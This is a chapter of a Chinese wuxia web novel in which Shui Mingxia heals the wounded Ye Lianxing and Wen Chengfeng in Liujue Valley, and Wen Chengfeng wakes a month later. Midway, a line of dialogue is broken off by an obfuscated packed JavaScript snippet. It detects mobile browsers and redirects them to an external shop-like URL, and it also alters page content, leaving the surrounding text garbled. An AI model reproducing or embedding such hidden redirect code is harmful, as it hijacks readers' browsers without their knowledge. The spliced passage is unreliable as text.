叶连星轻轻摇了摇头:“原料太珍贵,她就炼出了三颗,给了我一颗,剩下两颗她和冷千山随身带着。” “那六绝谷里总还有其他药吧,外面那么多药材呢?”秋向晚道,“总有能救他的吧。” 叶连星倏然又转向花如锦。 花如锦对上她视线,几乎不忍看,只艰难地摇了摇头:“……对不起,我只会用毒。” 叶连星便不再看她,伸手去扶半坐在地上的男人:“那我带他出去找大夫。” “连星。”花如锦伸手去拉她,“没用的,除非小药圣回来,不然没人能救他。” 叶连星:“那我就带他去明霞。” “连星,他……”花如锦再不忍也只能开口,“他最多只能再撑半刻钟,半刻钟,你连六绝谷都出不去。” 叶连星伸手将人扶起:“谁说半刻钟我出不了谷——” 她本就重伤未愈,刚一将人扶起,高大男人重量一压上来,不由便踉跄了一两步。 花如锦鼻尖终于也一酸,起身道:“好,我帮你带他出去。” 关情等人也伸手来扶:“我带你出谷。” 叶连星像没听到似的,抬脚往前便走,胸口这时倏然一痛,已经止血的伤处再次溢出鲜血,她眼前一阵阵发黑,耳边只听众人七嘴八舌的惊呼关切声响起。 “叶姐姐!” “连星!” 晕过去前,在这一众声音中,叶连星似乎还听到了一道气呼呼的嗓音。 “叶连星!我一出门,你竟然带这么多人来我家捣乱!” 那声音熟悉至极,叶连星终于安心地闭上了眼睛。 众人眼前一花,只见一个年轻娇小的姑娘闪身至眼前,身后还跟着一个高大冷峻的男人。 “什么情况?”来人惊讶道,“我这才走了多久,怎么一个个都把自己搞得这么狼狈?” “明霞姐姐。”秋向晚哽咽道,“你快救救叶姐姐和闻公子。” 水明霞半蹲下身,探手先去摸叶连星脉搏。 “谁伤她这么重?”她杀气腾腾地说完这句,忽又轻轻“咦”了声,“照霜真气……” 她说着松开手:“没多大事,死不了。” 秋向晚重重松口气,又忙道:“明霞姐姐你快再看看闻公子。” 水明霞这才去探闻承风的脉。 “怎么样?”秋向晚小声问。 水明霞眉梢紧紧蹙起,半响没开口。 秋向晚生怕打扰她,便连问都不敢再开口问。 过了许久,才听水明霞终于出声。 “能救。” …… 六绝谷谷主冷千山不喜欢生人,确认过叶连星无大碍,闻承风也有救,一干江湖人士便不再在六绝谷逗留,立即动身离开。 让人意外的是,陆清晓也在离开的大部队之中。 重新进入四青山前,小少女不由回头又朝那几栋已然点上灯火的小屋看去。 空净大师这时忽然从前方队伍中折返回来,停在关情前面。 “阿弥陀佛,不知关施主可有看到断刀门少门主余响施主?” 关情一愣:“余少门主吗,似乎未曾见过。” 甫一进谷,他们就正好撞见陆清晓被偷袭的场面,之后变故一场接一场,关情再无余暇去关心其他人。 “他没从阵法里出来吗?” 空净大师道:“惭愧,老衲也是适才方想起一直未见余施主,他刚入阵时曾与老衲一同被困,后来与我走散,之后便再未曾见过了。” 关情道:“没事,为了让我们尽快离开,冷谷主方才直接将山中阵法关了,余少门主应该自己能走出去的。” “阿弥陀佛。”空净大师道,“余施主似乎不认路。” 关情:“……” “那应该也没事,回头冷谷主重新调整阵法时,应该会发现他,大师若实在不放心,也可折返回去知会冷谷主一声。” 空净大师道:“多谢施主,稳妥起见,老衲还是回去知会冷谷主一声。” 施了礼,老和尚带着几个小和尚便与她们错身而过。 关情低头看向仍在往后瞧的小姑娘:“不放心就回去,你若开口说要留下,看在你叶姐姐的面子上,小药圣不会不答应的。” “知道她没事就好。”陆清晓摇摇头,收回视线,“我该回去练功了。” 她不想下次再出事时,还是需要别人冒着危险挡在前面来保护她。 她想像叶连星那样,可以强大到去保护别人。 而且下午那一场观战,她确实有颇多感悟。 “关姨。”陆清晓仰起小脸,“剑神前辈是个什么样的人啊?” “他啊……”关情顿了顿,目光忽然悠远起来,“……他是个让人很难忘的人。” …… 夜色深浓,虫鸣阵阵。 花如锦慢慢缀在那一大一小两个身影的后面,“细雨三更”被她随意地在手上盘来盘去。 这如细雨般的银线几乎完全湮没在夜色,虽然下午林中偷袭的人已经被冷千山抓了出来,但若再有人作乱,银丝瞬间便会染血。 走了一段,花如锦便觉身后始终还有个人不近不远的跟着自己。 她一回头,果不其然看见一张清俊的脸。 “周少庄主跟着我做什么?” 周敬视线一与她对上,脸便红了,他迅即撇开视线:“谁跟着你了,不是说了吗,保护陆姑娘和关门主也是我的责任。” “噢……”花如锦拖长调子,慢悠悠应了一声,“那你慢慢在后面保护,我去看着前头。” 她说完脚尖一点,便要走。 周敬急急忙忙“哎”了声。 花如锦停下回头:“还有事?” “你……”周敬耳根也红了,“你不是说还要找我算账吗?” 花如锦扬扬眉:“叶连星没事,本姑娘心情好,这次便懒得与你计较了,下次记住别再犯到我手上了。” 周敬话都没来得及再开口说,那人脚尖一点,便迅即消失于他眼前,他张了张嘴,最后还是闭上了。 …… 阵法既已关闭,一众江湖人士腿脚极快,不久便都离开了六绝谷。 留下来的只剩下秋向晚与夏清和。 他们二人端午过来送礼时,曾在此住过几天,在冷千山面前便也勉强算不上“生人”了,家里多这么两个人,也勉强在冷千山的接受范围内。 水明霞在房中医治之时,秋向晚便一直等在门外。 直到深夜,才见房门洞开,水明霞从中走了出来。 秋向晚忙迎上去:“明霞姐姐,他们怎么样,没事吧?” “我都回来了。”水明霞轻抬下巴,“还能有什么事。” 直至此刻,秋向晚高悬着的心才重重地、完全地放下来。 她满腔的疑惑之前都来不及问,这会儿也忙不迭开口道:“明霞姐姐,那位……就是闻公子,他这么拼命救叶姐姐,是跟叶姐姐很熟吗?” “很熟啊,你叶姐姐下山认识的第一个朋友。”水明霞撇撇嘴,“居然比我还早。” 秋向晚继续问道:“那我怎么都没在叶姐姐身边见过他。” 水明霞道:“他身份有点特殊,不太方便时常在江湖中出现。” “怎么个特殊法啊?”秋向晚更好奇了。 “我可不敢说。”水明霞道,“等他醒了你自己问他吧,或者去问你叶姐姐。” 秋向晚又说:“对了……江湖传言不是说他杀人不分正邪,滥杀了很多无辜,这事到底是真是假啊?” “江湖还传言说他长相极为丑陋。”水明霞嗤笑道,“你看他丑吗?” 秋向晚重重摇头:“不丑。” 何止不丑。 她可还从没见过长得这么好看的男人。 “但四季酒楼的事总是真的吧。”秋向晚道,“当初他杀人拖尸烧楼可是光天化日之下,许多人亲眼目睹的。” “四季酒楼……”水明霞回想片刻,“哦……那次是我托叶连星请他帮忙杀人的,那人是我师门的叛徒,醉心蛊术,走了偏门,不杀了他,只怕当时整个酒楼的人都活不了,拖尸也是我交待的,那人体内有蛊虫母虫,一般手法杀不了,便让他带走交给我处理,烧楼也是怕他已经在楼里下了蛊,银子早赔给老板了。” 秋向晚:“……” 竟和空净大师目睹他“杀害”叶连星一事一般,事情真相其实截然不同。 师兄说得果然不错,人有时候会过分相信自己的眼睛,只是耳听可能是虚,眼见也未必是实。 “那他怎么也不跟大家解释一下。”秋向晚不解道,“还被传出了‘活阎王’这种难听的称号?” “难听吗?”水明霞道,“他自己好像还挺喜欢的,觉得很有意思。” 秋向晚一头雾水:“这有什么意思啊?” “那谁知道呢,他这种八百个心眼子的人想什么,我可不清楚。”水明霞道,“你等叶连星醒了去问她吧。” 秋向晚还想再说什么,眼前忽地一黑,只见一个高大男人闪身停至自己身前,气场森寒冷峻。 “问完了吗?”他冷声道。 “问完了问完了。” 即便在此住过数日,秋向晚一见这位冷冰冰的冷谷主还是打心里发憷,忙拉着一旁陪她等待的师兄溜之大吉。 水明霞瞥了眼某人:“人家是客人,你吓她干什么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897285|192262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一出来。”冷千山依旧没什么表情,“她就拦着你说了快半刻钟。” 水明霞失笑,伸手去牵他:“那我陪你再聊个一刻钟?” “不用。”冷千山反手牵住她的手,“先陪你吃饭。” 水明霞点点头:“他们都吃过了?” 冷千山:“吃过了。” “那你呢?” “我等你。” …… 秋向晚还住上次所住的房间,一路熟门熟路跑回门口,才发现自己还牵着师兄的手。 她脸一热,倏地松开。 “那……”秋向晚挽了挽头发,“师兄,我就先进去啦?” 夏清和点点头。 秋向晚进了屋,关上门,怦怦乱跳的心半晌没能缓过来,不知怎么,心里又有种莫名的直觉,门口的人应该还没走。 她又重新打开门。 夏清和果然还站在门外。 …… 这漫长的一夜终于还是过去了。 秋向晚原本打算等闻承风和叶连星醒来,或至少等叶连星醒来再走,但次日一早,清霄派掌门便带着清霄派一众门人抵达了六绝谷。 算算时间,大约是一收到她的信,便从清霄派驻地立时赶了过来。 冷千山是绝对忍受不了谷里多那么多生人的,秋向晚也不忍心父母和其他师兄师姐们再为自己担心,便依依不舍地提前离开了。 傍晚时分,叶连星终于醒了过来。 她睁眼时,水明霞正在给旁边床上的年轻男人把脉。 叶连星坐起身,等她把完脉,才走过去,在旁边床沿上坐下。 “他怎么样?” “还能怎么样。”水明霞没好气道,“你们这一个两个的,就不能给我省点心吗?” 叶连星与她相识数年,相交甚深,见她此刻有心思生气,便知床上那人起码已无性命之忧,心下这才重重松了口气。 水明霞回过头,见她脸色苍白无比,心软了软,语气也和缓下来。 “我给你那药只能吊七天命,你又伤在心口要害,寻常大夫定然救不了,但剑神苏云起的照霜心法至刚至柔,最适合疗伤祛毒。” 水明霞抬眸看她:“这次给你疗伤,他起码用了八成的真气,又用剩下两成真气撑着与程长川打了一架,还好这两人估计是看在你的份上,都没有真下死手,之后为了拦人,他又强行催动了繁霜白,繁霜白你听关前辈提过吧?” 叶连星颔首:“听过一点。” “据说是剑神苏云起的绝招。”水明霞冷笑一声,“其实就是在气竭力尽后,以损害自身气血为代价,短时间内强行重聚并大幅提升真气,真气提升越多,对自身损耗就越大。在我们大夫看来,就是一个伤敌一千自损八百的作死大招,你们这种习武天才,有时候跟疯子可能也就在一线之间,这招用在不适宜的时候,指不定就会被人当成什么邪魔外道的武功,剑神自己大约也清楚,所以就只在当初攻打魔教时用过那一次,用完他自己也死了。他徒弟倒是出息,这次为了救你直接用上了。” “那他……”叶连星刚刚放下的心又悬起来,几乎有点不敢继续问。 “我人都回来了,还能让他有事?”水明霞道,“不过也就这一次,下次他再这么作死,大罗神仙也难救。” 叶连星这才又重新松了口气:“他多久能醒?” “能救活他已经是我本事大。”水明霞道,“多久能醒就看他自己的本事了。” …… 一场秋雨一场寒。 下过一场雨,天气骤然转冷,六绝谷中的秋意一天浓过一天。 这一日终于放晴,一只鸽子扑腾着翅膀飞至小屋窗前,被一只素白的手握住。 这人自然是叶连星。 她这一个月被水明霞严令紧止动武,又勒令必须清淡饮食,这会儿看一只鸽子都觉得“秀色可餐”——字面意义上的那种。 “也不知道烤起来好不好吃。” 鸽子瞬间炸毛,爪子一蹬,扑腾着翅膀立即飞走了。 “好不好吃都与你无关。”房间里也有人炸毛。 “我就随口一说。” 叶连星展开取下的信,低头看了一眼,随手将信纸放在窗边,抬起走到床边,静静看着炸毛的那人给床上依旧未苏醒的男人施针。 水明霞动作熟练,片刻便将细针一一拔了。 “对了。”她一边收针,一边道,“余响今日在山外叫阵,说要约你打一场。” 叶连星一听到这名字就头大:“我伤还没全好呢,他现在打赢我有什么意义。” 水明霞道:“他说不着急现在打,你只要接了战帖就行,什么时候伤彻底好了,什么时候再去应战。” “你们就不能把他赶走吗?”对方好歹这次过来替她“报仇”了,叶连星也不好意思再将他战帖收了烤兔子吃。 “山外又不是我家地盘,怎么赶。”水明霞道。 叶连星哪有心思应付他,想了想道:“那你放他进阵,跟他说,他什么时候能从阵里走出来,我什么时候接他战帖。” “就他……我们不开阵法,他都走不出来。”水明霞抚掌一笑,“好玩,我这就去告诉他,看看他什么反应。” 她身形一闪,人转眼便不在房内。 叶连星没立即跟出去,而是先走到床沿边坐下。 一个月过去,闻承风还没有半点苏醒迹象。 叶连星拿帕子沾了点水,先替他润了润唇,而后才轻声道:“方才收到阿锦的传信,说岭南出了一桩凶案,凶器是一把很薄很快的剑,不知是不是杀我师父和你爹的凶手,你若再不醒,过几天我就自己去查了。” 大床上,年轻英俊的男人无知无觉,像是依旧听不见她的话。 叶连星又静静等了片刻,才缓缓起身。 窗棂处日光如浅金般浮动。 叶连星浅浅叹了口气,抬脚往外屋外走去。 忽地,身后一只修长大手伸过来…… 轻轻握住了她的手腕。